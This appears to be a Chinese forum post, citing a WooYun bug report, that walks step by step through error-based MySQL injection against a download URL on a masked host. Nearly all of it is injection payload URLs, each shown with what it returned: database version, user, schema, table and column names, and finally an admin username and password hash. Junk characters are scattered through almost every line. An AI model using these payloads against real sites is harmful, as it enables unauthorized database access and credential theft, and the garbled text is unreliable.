http://www.wooyun.org/bugs/wooyun-2010-01666
) E9 b* M: q+ I' P. Y# x5 Y, G- _1 V( M! [1 q
之前想找个测试 没想到这有 可以测试下做个记录而已
+ }0 ]7 f+ ]) j0 ~1 _) a% B3 N. m( D
http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003
2 f( W/ v9 {& a% G6 f _0 u9 o7 R8 m. A+ }
/data0/htdocs/leqi_new/app/myapp.php. H S9 N" {: B. [
. \; l* z- k1 u7 ]
或者# x* t% E: z; y' w6 F$ X* \7 t: @
3 Z' F, \; \+ z+ R/**********version()**********/ 5.1.49-log6 a( S) ~& [3 z9 W4 X3 @0 b
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
5 l. W# C$ W. d7 x) H
. w! X& x% U% e) q- ]. A" c# n/**********user()**********/ 7 | U7 l/ T0 P1 e: j! G
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0036 d" n3 d& n* u( z; z
: |5 P8 D5 C3 r h
/**********database()**********/ leqi
& \5 C; \* |3 Ghttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
, F. x$ D g$ H9 ]
6 b- I6 ~5 j3 l- t" [+ a3 @7 |/**********limit依次递归爆库**********/
* z2 J( E: Z3 S3 t$ _# c2 E2 y, m$ Jhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003, b% E% T& [% y, ?8 w! H, I
information_schema7 _1 d0 ~! W: E) l$ `" G3 l
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003# y, X; S( I% @2 [
leqi
; |5 t1 n4 k; |% A5 ^% Uhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003% k, q. J- k. d! d( o6 n8 P
test! m' p- E, X+ }
! l9 X! o" r6 D' g/**********limit依次递归爆表名**********/ k) H% j- r6 V1 w/ y& ?1 I+ r4 s
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
( J5 m9 z! o v7 Q4 R) b% Xusers
5 T5 {: r) D* ^
1 t) a6 r7 Z% y8 H6 I( @; p8 m/**********limit依次递归爆字段名**********/
% D- O2 y$ P5 j* w' z3 p; ihttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
( W2 o1 N: |4 g9 x0 m" W, O4 buser_id,username,nickname,passwd,group_id# e" M6 h* d8 [
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23$ q4 w' G1 W) ~
/wapc/5000_0005_0031 c+ g5 p) y0 m% o
11 21
: u+ B# Y+ @% u9 p* a9 ?http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%238 G/ v0 x8 n. v. H6 C& D& [
/wapc/5000_0005_003' s- q) q* C% R/ N" c# B7 r
11 341 351 361 U, R. p+ q5 u- l. O b) ~+ v
/**********爆数据**********/# m0 u6 y5 W& b& W3 |' d
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23+ A1 i- L, Q, k0 l1 o7 m
admin5 L [ n4 X. w5 K9 m3 r
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23# [) W# J: V0 [4 a
6a8b4574ca231eb8bd52764d4978ffcd2 } O! M9 m4 q- s7 S8 f( |
4 c/ v! K! G/ s# k) h" e
: |! S7 C: j+ E$ g$ K0 M |